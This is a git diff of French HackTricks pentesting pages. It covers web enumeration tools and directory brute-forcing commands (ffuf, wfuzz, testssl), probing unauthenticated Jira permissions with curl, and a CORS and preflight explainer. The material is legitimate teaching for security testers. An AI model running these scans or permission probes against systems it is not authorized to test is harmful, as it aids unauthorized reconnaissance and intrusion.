@ -201,7 +201,7 @@ Si vous découvrez que **WebDav** est **activé** mais que vous n'avez pas suffi
|
|||
* Si l'application **ne force pas l'utilisation de HTTPS** à un moment donné, alors elle est **vulnérable aux attaques de l'homme du milieu (MitM)**
|
||||
* Si l'application **envoie des données sensibles (mots de passe) en utilisant HTTP**. Alors c'est une vulnérabilité élevée.
|
||||
|
||||
Utilisez [**testssl.sh**](https://github.com/drwetter/testssl.sh) pour vérifier les **vulnérabilités** (dans les programmes de prime à la découverte de bugs, ces types de vulnérabilités ne seront probablement pas acceptés) et utilisez [**a2sv** ](https://github.com/hahwul/a2sv) pour re-vérifier les vulnérabilités:
|
||||
Utilisez [**testssl.sh**](https://github.com/drwetter/testssl.sh) pour vérifier les **vulnérabilités** (dans les programmes de Bug Bounty, ces types de vulnérabilités ne seront probablement pas acceptées) et utilisez [**a2sv** ](https://github.com/hahwul/a2sv) pour re-vérifier les vulnérabilités:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
|
@ -215,40 +215,40 @@ sslyze --regular <ip:port>
|
|||
Lancez une sorte d'**araignée** à l'intérieur du web. Le but de l'araignée est de **trouver autant de chemins que possible** à partir de l'application testée. Par conséquent, le crawling web et les sources externes doivent être utilisés pour trouver autant de chemins valides que possible.
|
||||
|
||||
* [**gospider**](https://github.com/jaeles-project/gospider) (go) : Araignée HTML, LinkFinder dans les fichiers JS et sources externes (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go) : Araignée HML, avec LinkFider pour les fichiers JS et Archive.org comme source externe.
|
||||
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python) : Araignée HTML, indique également les "fichiers juteux".
|
||||
* [**evine**](https://github.com/saeeddhqan/evine) (go) : Araignée HTML interactive en CLI. Il recherche également dans Archive.org.
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go) : Araignée HTML, avec LinkFinder pour les fichiers JS et Archive.org comme source externe.
|
||||
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python) : Araignée HTML, indique également les "fichiers sensibles".
|
||||
* [**evine**](https://github.com/saeeddhqan/evine) (go) : Araignée HTML interactive en CLI. Recherche également dans Archive.org.
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go) : Cet outil n'est pas une araignée mais peut être utile. Vous pouvez simplement indiquer un fichier avec des hôtes et un fichier avec des chemins et meg récupérera chaque chemin sur chaque hôte et enregistrera la réponse.
|
||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go) : Araignée HTML avec des capacités de rendu JS. Cependant, il semble qu'il ne soit pas maintenu, la version précompilée est ancienne et le code actuel ne compile pas.
|
||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go) : Araignée HTML avec des capacités de rendu JS. Cependant, il semble ne pas être maintenu, la version précompilée est ancienne et le code actuel ne compile pas.
|
||||
* [**gau**](https://github.com/lc/gau) (go) : Araignée HTML qui utilise des fournisseurs externes (wayback, otx, commoncrawl).
|
||||
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider) : Ce script trouvera des URL avec des paramètres et les listera.
|
||||
* [**galer**](https://github.com/dwisiswant0/galer) (go) : Araignée HTML avec des capacités de rendu JS.
|
||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python) : Araignée HTML, avec des capacités de beauté JS capable de rechercher de nouveaux chemins dans les fichiers JS. Il pourrait également être intéressant de jeter un œil à [JSScanner](https://github.com/dark-warlord14/JSScanner), qui est un wrapper de LinkFinder.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go) : Pour extraire des points de terminaison à la fois dans la source HTML et les fichiers javascript intégrés. Utile pour les chasseurs de bugs, les équipes rouges, les ninjas de la sécurité de l'information.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go) : Pour extraire des points de terminaison à la fois dans la source HTML et les fichiers javascript intégrés. Utile pour les chasseurs de bugs, les équipes rouges, les ninjas de la cybersécurité.
|
||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7) : Un script python 2.7 utilisant Tornado et JSBeautifier pour analyser les URL relatives à partir de fichiers JavaScript. Utile pour découvrir facilement les requêtes AJAX. Semble ne pas être maintenu.
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby) : Étant donné un fichier (HTML), il extraira les URL à partir de celui-ci en utilisant une expression régulière astucieuse pour trouver et extraire les URL relatives des fichiers moches (minifiés).
|
||||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, plusieurs outils) : Rassemble des informations intéressantes à partir de fichiers JS en utilisant plusieurs outils.
|
||||
* [**subjs**](https://github.com/lc/subjs) (go) : Trouver des fichiers JS.
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go) : Charge une page dans un navigateur sans tête et imprime toutes les URL chargées pour charger la page.
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go) : Charge une page dans un navigateur sans tête et affiche toutes les URL chargées pour charger la page.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust) : Outil de découverte de contenu mélangeant plusieurs options des outils précédents.
|
||||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions) : Une extension Burp pour trouver des chemins et des paramètres dans les fichiers JS.
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper) : Un outil qui, étant donné l'URL .js.map, vous fournira le code JS beatifié.
|
||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder) : C'est un outil utilisé pour découvrir les points de terminaison pour une cible donnée.
|
||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder) : C'est un outil utilisé pour découvrir des points de terminaison pour une cible donnée.
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore) : Découvrir des liens à partir de la machine wayback (en téléchargeant également les réponses dans le wayback et en recherchant plus de liens).
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go) : Crawler (même en remplissant des formulaires) et trouver également des informations sensibles en utilisant des regex spécifiques.
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite) : Spider Suite est un Crawler/Araignée de sécurité web GUI multi-fonction avancé conçu pour les professionnels de la cybersécurité.
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go) : Crawl (même en remplissant des formulaires) et trouver également des informations sensibles en utilisant des regex spécifiques.
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite) : Spider Suite est un avancé multi-fonction GUI web security Crawler/Spider conçu pour les professionnels de la cybersécurité.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go) : C'est un package Go et [outil en ligne de commande](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) pour extraire des URL, des chemins, des secrets et d'autres données intéressantes du code source JavaScript.
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge) : ParaForge est une simple extension **Burp Suite** pour **extraire les paramètres et les points de terminaison** de la requête pour créer une liste de mots personnalisée pour le fuzzing et l'énumération.
|
||||
|
||||
### Brute Force directories and files
|
||||
|
||||
Commencez le **brute-forçage** à partir du dossier racine et assurez-vous de brute-forcer **tous** les **répertoires trouvés** en utilisant **cette méthode** et tous les répertoires **découverts** par le **Spidering** (vous pouvez effectuer ce brute-forçage de manière **récursive** et ajouter au début de la liste de mots utilisée les noms des répertoires trouvés).\
|
||||
Commencez le **brute-force** à partir du dossier racine et assurez-vous de brute-forcer **tous** les **répertoires trouvés** en utilisant **cette méthode** et tous les répertoires **découverts** par le **Spidering** (vous pouvez effectuer ce brute-forcing **de manière récursive** et ajouter au début de la liste de mots utilisée les noms des répertoires trouvés).\
|
||||
Outils :
|
||||
|
||||
* **Dirb** / **Dirbuster** - Inclus dans Kali, **ancien** (et ** lent **) mais fonctionnel. Autorise les certificats auto-signés et la recherche récursive. Trop lent par rapport aux autres options.
|
||||
* **Dirb** / **Dirbuster** - Inclus dans Kali, **ancien** (et ** lent**) mais fonctionnel. Autorise les certificats auto-signés et la recherche récursive. Trop lent par rapport aux autres options.
|
||||
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python) : Il n'autorise pas les certificats auto-signés mais permet la recherche récursive.
|
||||
* [**Gobuster**](https://github.com/OJ/gobuster) (go) : Il autorise les certificats auto-signés, il **n'a pas** de recherche **récursive**.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Rapide, prend en charge la recherche récursive**.
|
||||
* [**Gobuster**](https://github.com/OJ/gobuster) (go) : Il autorise les certificats auto-signés, il n'a pas de recherche **récursive**.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) - Rapide, prend en charge la recherche récursive.
|
||||
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
* [**ffuf**](https://github.com/ffuf/ffuf) - Rapide : `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
* [**uro**](https://github.com/s0md3v/uro) (python) : Ce n'est pas une araignée mais un outil qui, étant donné la liste des URL trouvées, supprimera les URL "dupliquées".
|
||||
|
@ -274,7 +274,7 @@ Outils :
|
|||
* _/usr/share/wordlists/dirb/big.txt_
|
||||
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_Notez que chaque fois qu'un nouveau répertoire est découvert lors d'une attaque par force brute ou d'une exploration de site, il doit être soumis à une attaque par force brute._
|
||||
_Notez que chaque fois qu'un nouveau répertoire est découvert lors d'une attaque par force brute ou d'une exploration, il doit être soumis à une attaque par force brute._
|
||||
|
||||
### Ce qu'il faut vérifier sur chaque fichier trouvé
|
||||
|
||||
|
@ -300,7 +300,7 @@ _Notez que chaque fois qu'un nouveau répertoire est découvert lors d'une attaq
|
|||
* Recherchez des **liens** vers d'autres fichiers à l'intérieur des fichiers **CSS**.
|
||||
* [Si vous trouvez un fichier _**.git**_, des informations peuvent être extraites](git.md)
|
||||
* Si vous trouvez un fichier _**.env**_, des informations telles que des clés API, des mots de passe de bases de données et d'autres informations peuvent être trouvées.
|
||||
* Si vous trouvez des **points de terminaison API**, vous [devriez également les tester](web-api-pentesting.md). Ce ne sont pas des fichiers, mais ils ressembleront probablement à des fichiers.
|
||||
* Si vous trouvez des **points de terminaison API**, vous [devriez également les tester](web-api-pentesting.md). Ce ne sont pas des fichiers, mais ils leur ressembleront probablement.
|
||||
* **Fichiers JS** : Dans la section d'exploration, plusieurs outils permettant d'extraire des chemins à partir de fichiers JS ont été mentionnés. Il serait également intéressant de **surveiller chaque fichier JS trouvé**, car dans certaines situations, un changement peut indiquer qu'une vulnérabilité potentielle a été introduite dans le code. Vous pourriez par exemple utiliser [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
* Vous devriez également vérifier les fichiers JS découverts avec [**RetireJS**](https://github.com/retirejs/retire.js/) ou [**JSHole**](https://github.com/callforpapers-source/jshole) pour voir s'ils sont vulnérables.
|
||||
* **Déobfuscateur et désassembleur JavaScript** : [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
|
@ -328,16 +328,16 @@ Vous pouvez **automatiser** cela en utilisant le plugin **nmap** "_http-ntlm-inf
|
|||
|
||||
**Redirection HTTP (CTF)**
|
||||
|
||||
Il est possible de **placer du contenu** à l'intérieur d'une **redirection**. Ce contenu ne sera pas affiché à l'utilisateur (car le navigateur exécutera la redirection), mais quelque chose pourrait être **caché** à l'intérieur.
|
||||
Il est possible d'**insérer du contenu** dans une **redirection**. Ce contenu ne sera pas affiché à l'utilisateur (car le navigateur exécutera la redirection), mais quelque chose pourrait être **caché** à l'intérieur.
|
||||
### Vérification des vulnérabilités Web
|
||||
|
||||
Maintenant qu'une énumération complète de l'application web a été effectuée, il est temps de vérifier de nombreuses vulnérabilités possibles. Vous pouvez trouver la liste de contrôle ici :
|
||||
Maintenant qu'une énumération complète de l'application Web a été effectuée, il est temps de vérifier de nombreuses vulnérabilités possibles. Vous pouvez trouver la liste de contrôle ici :
|
||||
|
||||
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology/" %}
|
||||
[web-vulnerabilities-methodology](../../pentesting-web/web-vulnerabilities-methodology/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Trouvez plus d'informations sur les vulnérabilités web dans :
|
||||
Trouvez plus d'informations sur les vulnérabilités Web dans :
|
||||
|
||||
* [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
|
||||
* [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)
|
||||
|
@ -347,13 +347,13 @@ Trouvez plus d'informations sur les vulnérabilités web dans :
|
|||
|
||||
Vous pouvez utiliser des outils tels que [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) pour surveiller les pages à la recherche de modifications qui pourraient introduire des vulnérabilités.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
### Commandes automatiques HackTricks
|
||||
### Commandes Automatiques HackTricks
|
||||
```
|
||||
Protocol_Name: Web #Protocol Abbreviation if there is one.
|
||||
Port_Number: 80,443 #Comma separated if there is more than one.
|
||||
|
@ -427,12 +427,12 @@ Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:F
|
|||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks :
|
||||
D'autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,15 +8,15 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requis_).
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -24,7 +24,7 @@ Si vous êtes intéressé par une **carrière en piratage** et pirater l'impirat
|
|||
|
||||
Dans Jira, les **privilèges peuvent être vérifiés** par n'importe quel utilisateur, authentifié ou non, via les points de terminaison `/rest/api/2/mypermissions` ou `/rest/api/3/mypermissions`. Ces points de terminaison révèlent les privilèges actuels de l'utilisateur. Une préoccupation notable survient lorsque des **utilisateurs non authentifiés détiennent des privilèges**, indiquant une **vulnérabilité de sécurité** qui pourrait potentiellement être éligible à une **prime**. De même, des **privilèges inattendus pour les utilisateurs authentifiés** mettent également en évidence une **vulnérabilité**.
|
||||
|
||||
Une **mise à jour importante** a été effectuée le **1er février 2019**, exigeant que le point de terminaison 'mypermissions' inclue un **paramètre de permission**. Cette exigence vise à **renforcer la sécurité** en spécifiant les privilèges interrogés : [consultez-le ici](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||
Une **mise à jour importante** a été effectuée le **1er février 2019**, exigeant que le point de terminaison 'mypermissions' inclue un **paramètre 'permission'**. Cette exigence vise à **renforcer la sécurité** en spécifiant les privilèges interrogés : [consultez-le ici](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||
|
||||
* ADD\_COMMENTS
|
||||
* ADMINISTER
|
||||
|
@ -78,22 +78,22 @@ curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"h
|
|||
* [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe)
|
||||
* [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Autres façons de soutenir HackTricks:
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
@ -22,16 +22,16 @@ Une politique de **même origine** exige qu'un **serveur demandant** une ressour
|
|||
|
||||
L'application de la politique de même origine dans le contexte de `http://normal-website.com/example/example.html` est illustrée comme suit:
|
||||
|
||||
| URL accédée | Accès autorisé? |
|
||||
| ----------------------------------------- | ---------------------------------- |
|
||||
| URL accédée | Accès autorisé? |
|
||||
| ----------------------------------------- | --------------------------------------- |
|
||||
| `http://normal-website.com/example/` | Oui: Schéma, domaine et port identiques |
|
||||
| `http://normal-website.com/example2/` | Oui: Schéma, domaine et port identiques |
|
||||
| `https://normal-website.com/example/` | Non: Schéma et port différents |
|
||||
| `http://en.normal-website.com/example/` | Non: Domaine différent |
|
||||
| `http://www.normal-website.com/example/` | Non: Domaine différent |
|
||||
| `http://normal-website.com:8080/example/` | Non: Port différent* |
|
||||
| `https://normal-website.com/example/` | Non: Schéma et port différents |
|
||||
| `http://en.normal-website.com/example/` | Non: Domaine différent |
|
||||
| `http://www.normal-website.com/example/` | Non: Domaine différent |
|
||||
| `http://normal-website.com:8080/example/` | Non: Port différent\* |
|
||||
|
||||
*Internet Explorer ignore le numéro de port dans l'application de la politique de même origine, permettant ainsi cet accès.
|
||||
\*Internet Explorer ignore le numéro de port dans l'application de la politique de même origine, permettant ainsi cet accès.
|
||||
|
||||
### En-tête `Access-Control-Allow-Origin`
|
||||
|
||||
|
@ -41,7 +41,7 @@ Cet en-tête est **émis par un serveur** en réponse à une requête de ressour
|
|||
|
||||
### En-tête `Access-Control-Allow-Credentials`
|
||||
|
||||
Par **défaut**, les requêtes entre domaines sont effectuées sans informations d'identification telles que les cookies ou l'en-tête Authorization. Cependant, un serveur entre domaines peut autoriser la lecture de la réponse lorsque des informations d'identification sont envoyées en définissant l'en-tête `Access-Control-Allow-Credentials` sur **`true`**.
|
||||
Par **défaut**, les requêtes entre domaines sont effectuées sans informations d'identification telles que les cookies ou l'en-tête d'autorisation. Cependant, un serveur entre domaines peut autoriser la lecture de la réponse lorsque des informations d'identification sont envoyées en définissant l'en-tête `Access-Control-Allow-Credentials` sur **`true`**.
|
||||
|
||||
Si défini sur `true`, le navigateur transmettra les informations d'identification (cookies, en-têtes d'autorisation ou certificats client TLS).
|
||||
```javascript
|
||||
|
@ -70,17 +70,17 @@ xhr.setRequestHeader('Content-Type', 'application/xml');
|
|||
xhr.onreadystatechange = handler;
|
||||
xhr.send('<person><name>Arun</name></person>');
|
||||
```
|
||||
### Requête de pré-vérification CSRF
|
||||
### Requête de pré-vol CSRF
|
||||
|
||||
### Comprendre les requêtes de pré-vérification dans la communication inter-domaines
|
||||
### Comprendre les requêtes de pré-vol dans la communication inter-domaines
|
||||
|
||||
Lors de l'initiation d'une requête inter-domaines dans des conditions spécifiques, telles que l'utilisation d'une **méthode HTTP non standard** (autre que HEAD, GET, POST), l'introduction de nouveaux **en-têtes**, ou l'utilisation d'une valeur spéciale d'en-tête **Content-Type**, une requête de pré-vérification peut être nécessaire. Cette requête préliminaire, utilisant la méthode **`OPTIONS`**, sert à informer le serveur des intentions de la future requête inter-origines, y compris les méthodes HTTP et les en-têtes qu'elle compte utiliser.
|
||||
Lors de l'initiation d'une requête inter-domaines dans des conditions spécifiques, telles que l'utilisation d'une **méthode HTTP non standard** (autre que HEAD, GET, POST), l'introduction de nouveaux **en-têtes**, ou l'utilisation d'une valeur spéciale d'en-tête **Content-Type**, une requête de pré-vol peut être nécessaire. Cette requête préliminaire, utilisant la méthode **`OPTIONS`**, sert à informer le serveur des intentions de la future requête inter-origines, y compris les méthodes HTTP et les en-têtes qu'elle compte utiliser.
|
||||
|
||||
Le protocole **Cross-Origin Resource Sharing (CORS)** impose cette vérification préalable pour déterminer la faisabilité de l'opération inter-origines demandée en vérifiant les méthodes autorisées, les en-têtes, et la fiabilité de l'origine. Pour une compréhension détaillée des conditions qui contournent le besoin d'une requête de pré-vérification, consultez le guide complet fourni par [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests).
|
||||
Le protocole **Cross-Origin Resource Sharing (CORS)** impose cette vérification de pré-vol pour déterminer la faisabilité de l'opération inter-origines demandée en vérifiant les méthodes autorisées, les en-têtes et la fiabilité de l'origine. Pour une compréhension détaillée des conditions qui contournent le besoin d'une requête de pré-vol, consultez le guide complet fourni par le [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
|
||||
|
||||
Il est crucial de noter que **l'absence d'une requête de pré-vérification n'élimine pas le besoin pour la réponse de contenir des en-têtes d'autorisation**. Sans ces en-têtes, le navigateur est incapable de traiter la réponse de la requête inter-origines.
|
||||
Il est crucial de noter que **l'absence d'une requête de pré-vol n'élimine pas le besoin pour la réponse de contenir des en-têtes d'autorisation**. Sans ces en-têtes, le navigateur est incapable de traiter la réponse de la requête inter-origines.
|
||||
|
||||
Considérez l'illustration suivante d'une requête de pré-vérification visant à utiliser la méthode `PUT` avec un en-tête personnalisé nommé `Special-Request-Header`:
|
||||
Considérez l'illustration suivante d'une requête de pré-vol visant à utiliser la méthode `PUT` avec un en-tête personnalisé nommé `Special-Request-Header`:
|
||||
```
|
||||
OPTIONS /info HTTP/1.1
|
||||
Host: example2.com
|
||||
|
@ -99,21 +99,19 @@ Access-Control-Allow-Headers: Authorization
|
|||
Access-Control-Allow-Credentials: true
|
||||
Access-Control-Max-Age: 240
|
||||
```
|
||||
- **`Access-Control-Allow-Headers`**: Ce header spécifie les en-têtes qui peuvent être utilisés lors de la requête réelle. Il est défini par le serveur pour indiquer les en-têtes autorisés dans les requêtes du client.
|
||||
- **`Access-Control-Expose-Headers`**: À travers ce header, le serveur informe le client des en-têtes qui peuvent être exposés en plus des en-têtes de réponse simples.
|
||||
- **`Access-Control-Max-Age`**: Ce header indique pendant combien de temps les résultats d'une requête pré-vol peuvent être mis en cache. Le serveur définit le temps maximum, en secondes, pendant lequel les informations renvoyées par une requête pré-vol peuvent être réutilisées.
|
||||
